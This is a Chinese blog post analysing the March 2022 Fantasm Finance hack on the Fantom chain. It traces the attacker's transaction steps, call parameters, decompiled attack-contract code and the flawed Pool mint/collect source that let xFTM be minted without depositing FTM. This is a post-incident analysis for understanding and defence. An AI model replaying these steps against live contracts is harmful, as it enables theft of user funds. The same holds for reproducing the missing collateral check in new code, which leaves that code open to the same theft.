真实攻击案例分析系列之Fantasm Finance攻击事件分析

2022-11-07 10:03:20 浏览数 (1)

本文作者:小驹[1]

1. 事件简介

2022 年 3 月 9 日,根据项目方紧急公告,xFTM 存在严重漏洞目前已被利用。公告里公布了黑客的地址,黑客利用完漏洞后将获利全部换成了 ETH,并跨链至以太坊主网,经笔者统计,黑客获利 1007 ETH,折合当时 ETH 美元价格约为 273 万美元。

今天我们从技术层面分析 Fantasm Finance 被攻击的全过程。在分析攻击过程之前,对 Fantasm Finance 项目需要有下面的前置背景知识。

2. 背景知识

2.1 区分四种币:FTM,FSM,xFTM,WFTM

FTM :是Fantom公链的内置货币

FSM 和 xFTM :Fantasm Finance 是一个 Defi 金融项目,FSM 和 xFTM 都是 Fantasm Finance 发行的代币。在 Fantasm Finance,引入了一种去中心化的解决方案,通过部分抵押设计来扩大 FTM 代币的数量,其中 xFTM 的合成代币供应将部分由 FTM 支持,部分由 FSM 代币支持。XFTM 是一种分数算法合成代币,在 Fantom公链上与 1 FTM 的价值挂钩

WFTM :黑客利用的都是 FTM,FSM 合成 xFTM 时的漏洞,整体都是围绕这三个展开,但黑客为了获得 FSM 时,使用了 WFTM,WFTM 是 FTM 的 ERC20 格式,关于 WFTM 黑客将 50 个 FTM 换成 50 个 WFTM 后,又通过 uniswap,将 50 个 WFTM 换成 FSM,将 FSM 应用到漏洞中。WFTM只起到一个转换代币的作用,在漏洞利用中没有关键作用

项目官网:https://docs.fantasticprotocol.io/synthetic-tokens[2]

根据介绍可得知,Fantasm Finance 是做合成代币的,xFTM就是这个项目的合成代币,由FTM和FSM这两个币支持,xFTM价格与FTM挂钩。

2.2 如何保证 xFTM 与 FTM 的挂钩。

前面说了 xFTM 基本上与 1FTM 进行挂钩,那么是如何进行挂钩的呢?

在官方文档中,定义了 CR,Collateral Ratio 质押比率。关于 CR 有下面几点需要理解:

参考https://docs.fantasticprotocol.io/mechanisms/collateral-ratio[3]官方文档

  • Fantastic Protocol 使用抵押比率 (CR) 进行铸造和赎回过程。抵押比率(CR) 将有由治理组织设定。
  • CR 在铸造和赎回过程中使用,它是一个分数,表示在铸造或者赎回FTM时,xFTM占用的百分比。
  • CR每小时以0.2%的幅度进行涨跌。如果 60 分钟的时间加权平均价格(TWAP)超过 1.005 倍的 FTM,CR 上调;如果 60 分钟的时间加权平均价格(TWAP)低过 0.995 倍的 FTM,CR 下调 初始的 CR 值为 90%.

根据这部分可得知,铸造 xFTM 的所需要的 FTM 占比最初为 90%,该 CR 比例随着 DEX 的预言机报价(xFTM:FTM)浮动,xFTM 价格低于 1FTM 时,占比增加,高于时反之。

2.3 xFTM 的铸造公式

那么铸造 xFTM 的公式是怎样的呢?

为了铸造 1 个 xFTM,系统要求 CR 个 FTM 和(1-CR)个 FSM,所以铸造公式为:1 XFTM = CR*FTM (1-CR)*FSM

根据上图得知,FTM 占比剩余部分由 FSM 这个币来支撑,例如 FTM 占比 90%,那么 FSM 就得占比 10%

3. 攻击过程分析

根据攻击者的地址:

https://ftmscan.com/address/0x47091e015b294b935babda2d28ad44e3ab07ae8d[4]

攻击过程通过攻击合约进行, 攻击者创建的攻击合约地址为:0x944b58c9b3b49487005cead0ac5d71c857749e3e

根据攻击发生的时间,找到攻击时的交易记录如下:

这 4 条交易记录与攻击者的攻击流程一致,因此将攻击流程划分为下面的 4 步:

  1. 创建攻击合约
  2. 调用攻击合约的 getWFTM 函数
  3. 调用攻击合约的 0x671daed9 函数
  4. 调用攻击合约的 Collect 函数

下面我们会按照攻击者的攻击流程进行攻击过程推演。**在这4步中,第1步,第2步,第3步的大部分都是做攻击准备,主要漏洞利用存在于3中的mint方法调用和4中的collect函数调用中。**

3.1 创建攻击合约。

创建的攻击合约地址为:0x944b58c9b3b49487005cead0ac5d71c857749e3e

3.2 调用攻击合约中的 getWFTM 函数

这一步做了啥?攻击合约调用WFTM合约的deposit方法,将50个原生的FTM代币,换成了50个WFTM。(从 WFTM 的代码合约中 deposit 函数,可以看到 WFTM 与 FTM 的兑换是 1:1 进行的)

从交易详情[5]可以看到

从攻击合约的反编译的代码中也可以看出来,getWFTM 函数只是调用了 stor1(槽一中的变量,也就是 wrappedFtm 合约地址)的 deposit 方法,根据上图中的 FTM 转移过程,猜测合约的函数只是调用了 WFTM 合约的 deposit 方法,所以 stor1 变量应该是 WFTM 的合约地址。

代码语言:javascript复制
def unknown527beca5() payable:
  require ext_code.size(stor1)
  call stor1.deposit() with:
     value call.value wei
       gas gas_remaining wei
  if not ext_call.success:
      revert with ext_call.return_data[0 len return_data.size]
  require return_data.size >=′ 32
  require ext_call.return_data == ext_call.return_data[0]

WFTM 代币的合约可以参考:https://ftmscan.com/address/0x21be370d5312f44cb42ce377bc9b8a0cef1a4c83#code[6]

3.3 调用攻击合约的 0x671daed9 函数

调用该函数的交易 hash 为:0xa84d216a1915e154d868e66080c00a665b12dab1dae2862289f5236b70ec2ad9

该交易中涉及到的 tokens 的转移如下

  1. 攻击合约(0x94)将50 WFTM通过 uniswapV2Pair 合约换出5.721个FSM,如下图中的 1 所标识的。
  2. 攻击都将这 5.721 个 FSM 代币,发送给了Pool合约。如下图中 2 所标识的。
  3. Pool 合约将收到的 5.721 个 FSM 代币进行了销毁。如下图中的 3 所标识的。
  4. 最后的一个是 Pool 合约将 7.73 个 FSM 转给了 FSM 代币的税务员(这个是代币兑换收取的费用)。与漏洞无关。

下面分析下 0x671daed9 函数的具体的调用过程,如下所示。

包括下面几个步骤,这些步骤中除了最后一步mint操作,其他的都是常规的正常操作。mint操作中存在逻辑漏洞,黑客在调用mint方法后,利用程序的逻辑错误,burn 了5.721个FSM,给UserInfo添加了2618个xfmt。

该函数中操作的步骤如下(在 mint 之前的操作都是攻击准备工作,从 mint 函数开始才是真正的漏洞利用过程):

  • approve:调用的是 WFTM 合约的 approve 方法。目的是将WFTM代币中,攻击合约(0x94)授权 Router 合约可处理的代币数量为0xFFFFFFFFFFFFFFFF
  • balanceOf:调用的是 WFTM 合约的 balanceOf 方法,查了攻击合约的 WFTM 的余额,也就是 50 WFTM。
  • getAmountsOut:调用 UniswapV2Router02 的 getAmountsOut 方法,计算 50 个 WFTM 可以换出 5.72 个 FSM 代币。
  • swapExactTokensForTokens:调用 UniswapV2Router02 的 swapExactTokensForTokens 方法,完成兑换 5.72 个 FSM 代币的过程
  • approve:调用 Pool 合约的 approve 访求,在 fsm token 合约中,攻击合约(0x94)授权 Pool 合约的地址的取款权限为0xFFFFFFFFFFFFFFFF
  • mint:调用 Pool 合约的 mint 方法,该方法中存在逻辑漏洞,方法中计算出 5.72 个 FSM 可以 mint 出 2618 个 xFTM,只接就 burn 掉 5.72 个 FSM,却没有验证用户输入的FTM是否正确(正确的做法应该是计算出所需要的 fsm 和 ftm 后,将 fsm 销毁,将 ftm 收回到 Pool 合约)。这就导致用户可以用很少的 FSM 就兑换出大量的 xFTM(由背景知识中,可知大约 1 个 xFTM=CR*FTM (1-CR)FSM,CR 通常为 90%,逻辑代码就忽略了将占总交易价值 90%左右的 FTM 收回到 Pool 合约)。

approve 使用的参数:

代码语言:javascript复制
"from":{
"address":"0x944b58c9b3b49487005cead0ac5d71c857749e3e" // 攻击合约地址
"balance":"0"
}
"to":{
"address":"0x21be370d5312f44cb42ce377bc9b8a0cef1a4c83" //WFTM 合约地址
"balance":"658429842400380886695645688"
}
"value":"0"
"input":{
"spender":"0xf491e7b69e4244ad4002bc14e878a34207e38c29" // UniswapV2Router02
"amount":"115792089237316195423570985008687907853269984665640564039457584007913129639935"
}
"output":{
"0":true
}

底层调用的_approve方法
"input":{
"owner":"0x944b58c9b3b49487005cead0ac5d71c857749e3e" // 攻击合约地址
"spender":"0xf491e7b69e4244ad4002bc14e878a34207e38c29" // UniswapV2Router02
"amount":"115792089237316195423570985008687907853269984665640564039457584007913129639935"
}

WFTM代币中,攻击合约(0x94)授权 Router 合约可处理的代币数量为0xFFFFFFFFFFFFFFFF(也就是 10 进制的 115792089237316195423570985008687907853269984665640564039457584007913129639935)

balanceOf 调用的是 WFTM 合约的 balanceOf 方法。查看了下攻击合约的 balanceOf,现在攻击合约有50个WFTM

代码语言:javascript复制
"from":{
"address":"0x944b58c9b3b49487005cead0ac5d71c857749e3e"  //发起者是攻击合约地址
"balance":"0"
}
"to":{
"address":"0x21be370d5312f44cb42ce377bc9b8a0cef1a4c83" //接收者是WFTM 合约地址
"balance":"658429842400380886695645688"
}
"input":{
"account":"0x944b58c9b3b49487005cead0ac5d71c857749e3e"
}
"output":{
"0":"50000000000000000000" // 查询的结果是攻击合约在WFTM中的余额为50WFTM
}

getAmountsOut 调用了 Router 合约的 getAmountsOut 方法,计算出输入 50 个 WFTM 可以兑换出 5.72 个 fsm。(返回的值为 50 和 5.7)

代码语言:javascript复制
"from":{
"address":"0x944b58c9b3b49487005cead0ac5d71c857749e3e" //发起者是攻击合约地址
"balance":"0"
}
"to":{
"address":"0xf491e7b69e4244ad4002bc14e878a34207e38c29" // UniswapV2Router02
"balance":"0"
}
"[INPUT]":"0xd06ca61f000000000000000000000000000000000000000000000002b5e3af16b18800000000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000200000000000000000000000021be370d5312f44cb42ce377bc9b8a0cef1a4c83000000000000000000000000aa621d2002b5a6275ef62d7a065a865167914801" // getAmountsOut方法
"output":{
"amounts":[
0:"50000000000000000000"
1:"5720527256067865356"
]

swapExactTokensForTokens 调用 Router 合约的 swapExactTokensForTokens 方法,兑换5.72 个 fsm.

代码语言:javascript复制
"from":{
	"address":"0x944b58c9b3b49487005cead0ac5d71c857749e3e" //发起者是攻击合约地址
	"balance":"0"
}
"to":{
	"address":"0xf491e7b69e4244ad4002bc14e878a34207e38c29" // UniswapV2Router02
	"balance":"0"
}
"value":"0"
"input":{
	"amountIn":"50000000000000000000"
	"amountOutMin":"5663321983507186702"
	"path":[
	0:"0x21be370d5312f44cb42ce377bc9b8a0cef1a4c83"
	1:"0xaa621d2002b5a6275ef62d7a065a865167914801"
	]
	"to":"0x944b58c9b3b49487005cead0ac5d71c857749e3e"
	"deadline":"1646833795"
}
"output":{
"amounts":[
	0:"50000000000000000000"
	1:"5720527256067865356"
]
}

approve 在 fsm token 合约中,攻击合约(0x94)授权 Pool 合约的地址的取款权限为0xFFFFFFFFFFFFFFFF

代码语言:javascript复制
"from":{
"address":"0x944b58c9b3b49487005cead0ac5d71c857749e3e" //发起者是攻击合约地址
"balance":"0"
}
"to":{
"address":"0xaa621d2002b5a6275ef62d7a065a865167914801"  // FSM Token合约地址
"balance":"0"
}
"value":"0"
"input":{
	"spender":"0x880672ab1d46d987e5d663fc7476cd8df3c9f937" // Pool合约地址
	"amount":"115792089237316195423570985008687907853269984665640564039457584007913129639935"
}
"output":{
"0":true
}

mint

我们先比较下正常调用mint函数攻击时调用mint函数参数的区别 ,首先我们可以随意找一个正常调用的交易,比如 0xfc618528f6c0d6ff84702358ee0768c552e43ddf13c8c124461c13cf9a94ce11 这个交易。

  • 正常调用时的函数:

正常调用时,uint256 _ftmIn = msg.value; 来自于 msg.value 的_ftmln 都是有 fantom 的原生币 FTM 的转入的,在这个交易中是 20 个 FTM。在随后的操作中 WethUtils.wrap(_ftmIn);中,将 20 个原生的 FTM 充值到 Pool 合约中。

  • 攻击时的函数:

uint256 _ftmIn = msg.value; 来自于 msg.value 的_ftmln 没有原生币 FTM 转入。在随后的操作中 WethUtils.wrap(_ftmIn);中,将 0 个原生的 FTM 充值到 Pool 合约中。

在攻击时,调用 Pool 合约的 mint 方法,mint 方法的功能是计算能铸造的 xFTM 的数量,并保存到 userInfo[_minter].xftmBalance 中(第4步的Collect函数会从userInfo[_minter].xftmBalance中读取能铸造的xFT数量并铸造)。mint 方法输入的参数为_fantasmIn 为 5.72 个 fsm 代币,和_minXftmOut 为 0。

代码语言:javascript复制
"from":{
	"address":"0x944b58c9b3b49487005cead0ac5d71c857749e3e" //发起者是攻击合约地址
	"balance":"0"
}
"to":{
	"address":"0x880672ab1d46d987e5d663fc7476cd8df3c9f937" // Pool合约地址
	"balance":"0"
}
"value":"0"
"input":{
	"_fantasmIn":"5720527256067865356"  // 输入值为fsm:5.72个,
	"_minXftmOut":"0"
}
"[OUTPUT]":"0x"

min 函数中调用了 calcMint 函数,calcMint 功能为根据输入的 ftm 和 fsm 计算出,可以铸造出来的 xFTM 的数量(_xftmOut),需要的最少的 ftm 数量(_minFtmIn),需要的最少的 fsm 的数量(_minFantasmIn),税费(_fee),通过函数返回可以看到 5.72 个 fsm 可以兑换 2618 个 xftm。

calcMint 函数的定义及调用 calcMint 函数时的参数与函数的返回值。

代码语言:javascript复制
/// @param _ftmIn Amount of FTM input.
/// @param _fantasmIn Amount of FSM input.
/// @return _xftmOut : the amount of XFTM output.
/// @return _minFtmIn : the required amount of FSM input.
/// @return _minFantasmIn : the required amount of FSM input.
/// @return _fee : the fee amount in FTM.
function calcMint(uint256 _ftmIn, uint256 _fantasmIn)
        public
        view
        returns (
            uint256 _xftmOut,
            uint256 _minFtmIn,
            uint256 _minFantasmIn,
            uint256 _fee
        )
输入值分别为:FTM的数量,FSM的数量,
输出值为:可以铸造的 XFTM的数量,所需要的FTM的数量,所需要的FSM的数量,手续费
代码语言:javascript复制
"input":{
	"_ftmIn":"0" // 输入的ftm为0
	"_fantasmIn":"5720527256067865356" // 输入的fsm为5.72个
}
"output":{
	"_xftmOut":"2618992620259886970084" // 可以铸造的xFTM为2618个
	"_minFtmIn":"2576962648420209746893" // 需要的最少的FTM为2576个
	"_minFantasmIn":"5720527256067865356" // 需要最少的fsm为5.72个
	"_fee":"7730887945260629240" // 需要收取的手续费为7.73个WFTM.
}

重点来了,到现在为至,一切正常,clacMint 也给出了最少需要的 FTM 是 2576 个,但是遗憾的是,后面并没有验证用户是否真正的传入了2576个FTM,导致在只输入FSM的情况下,并不需要补充FTM,也就是如果 FSM 的占比为 10%,那么就能用价值 1u 的 FSM 铸造价值 10u 的 xFTM。。

如下面代码所示,这个漏洞可以说非常遗憾,明明calcMint函数都算出来需要的最少的FTM了,却愣是没有校验…………

3.4 调用 collect 函数

该函数位于 Pool 合约中,主要功能是根据userInfo结构体来铸造代币,如果 userInfo[_sender].xftmBalance 存在的话,就会铸造xFTM

调用 collect 函数。交易 hash 为:0xa84d216a1915e154d868e66080c00a665b12dab1dae2862289f5236b70ec2ad9

通过函数的输入和输出,可以看出来,攻击者合约调用了 Pool 合约的 collect 方法。

代码语言:javascript复制
"from":{
	"address":"0x944b58c9b3b49487005cead0ac5d71c857749e3e" //攻击者合约地址
	"balance":"0"
}
"to":{
	"address":"0x880672ab1d46d987e5d663fc7476cd8df3c9f937" //Pool合约地址
	"balance":"0"
}
"value":"0"
"[INPUT]":"0xe5225381" //collect() 方法
"[OUTPUT]":"0x"

将交易 hash 放在 tenderly 中看下具体的调用。

调用关系为:攻击合约 →Pool 合约的 Collect()→ 调用 XFTM 的_mint 方法,从而完成了 xFTM 的铸造。

从上面的截图中,可以看到 token 的转移情况,直接从 0x0 地址给 0x94 攻击者转移了2618个xFTM代币

从 Pool 合约的源代码中,也可以看到调用的过程

从下面的函数代码可以看出来,能 mint 多少 xFTM,是由_fantasmAmount 决定的,而_fantasmAmount 参数直接来源于 userInfo[_sender].xftmBalance

代码语言:javascript复制
/**
     * @notice collect all minting and redemption
     */
    function collect() external nonReentrant {
        address _sender = msg.sender;
        require(userInfo[_sender].lastAction < block.number, "Pool::collect: <minimum_delay");

        bool _sendXftm = false;
        bool _sendFantasm = false;
        bool _sendFtm = false;
        uint256 _xftmAmount;
        uint256 _fantasmAmount;  //这里是参数定义。
        uint256 _ftmAmount;

        // Use Checks-Effects-Interactions pattern
        if (userInfo[_sender].xftmBalance > 0) {
            _xftmAmount = userInfo[_sender].xftmBalance;
            userInfo[_sender].xftmBalance = 0;
            unclaimedXftm = unclaimedXftm - _xftmAmount;
            _sendXftm = true;
        }

        if (userInfo[_sender].fantasmBalance > 0) {
            _fantasmAmount = userInfo[_sender].fantasmBalance;   //取出调用者的FST的余额
            userInfo[_sender].fantasmBalance = 0;
            unclaimedFantasm = unclaimedFantasm - _fantasmAmount;
            _sendFantasm = true;
        }

        if (userInfo[_sender].ftmBalance > 0) {
            _ftmAmount = userInfo[_sender].ftmBalance;
            userInfo[_sender].ftmBalance = 0;
            unclaimedFtm = unclaimedFtm - _ftmAmount;
            _sendFtm = true;
        }

        if (_sendXftm) {
            xftm.mint(_sender, _xftmAmount);
        }

        if (_sendFantasm) {
            fantasm.mint(_sender, _fantasmAmount);   // 这里是第384行,调用铸造方法._fantasmAmount参数对应着要铸造的数量,这里_fantasmAmount应该为2618
        }

4.总结

一句话对这个漏洞进行总结:合约中的漏洞是个典型的逻辑漏洞,漏洞主要在Pool合约中的mint方法中,在 mint 方法中调用 calcMint 方法计算了铸造 xFTM 时需要的最少 FTM 和最少 FSM,而合约代码只对 FSM 进行了销毁,却没有考虑FTM的情况,导致即使用户不输入 FTM,也能获得 xFTM。

5.参考

https://dashboard.tenderly.co https://www.tofreedom.me/fantasm-finance

参考资料

[1]

小驹: https://learnblockchain.cn/people/9625

[2]

https://docs.fantasticprotocol.io/synthetic-tokens: https://docs.fantasticprotocol.io/synthetic-tokens

[3]

https://docs.fantasticprotocol.io/mechanisms/collateral-ratio: https://docs.fantasticprotocol.io/mechanisms/collateral-ratio

[4]

https://ftmscan.com/address/0x47091e015b294b935babda2d28ad44e3ab07ae8d: https://ftmscan.com/address/0x47091e015b294b935babda2d28ad44e3ab07ae8d

[5]

交易详情: https://ftmscan.com/tx/0xe6872317c5d85dc2e1bf67ea2dc149b75d27e791359c061764f6e3ec81ef3e93

[6]

https://ftmscan.com/address/0x21be370d5312f44cb42ce377bc9b8a0cef1a4c83#code: https://ftmscan.com/address/0x21be370d5312f44cb42ce377bc9b8a0cef1a4c83#code

0 人点赞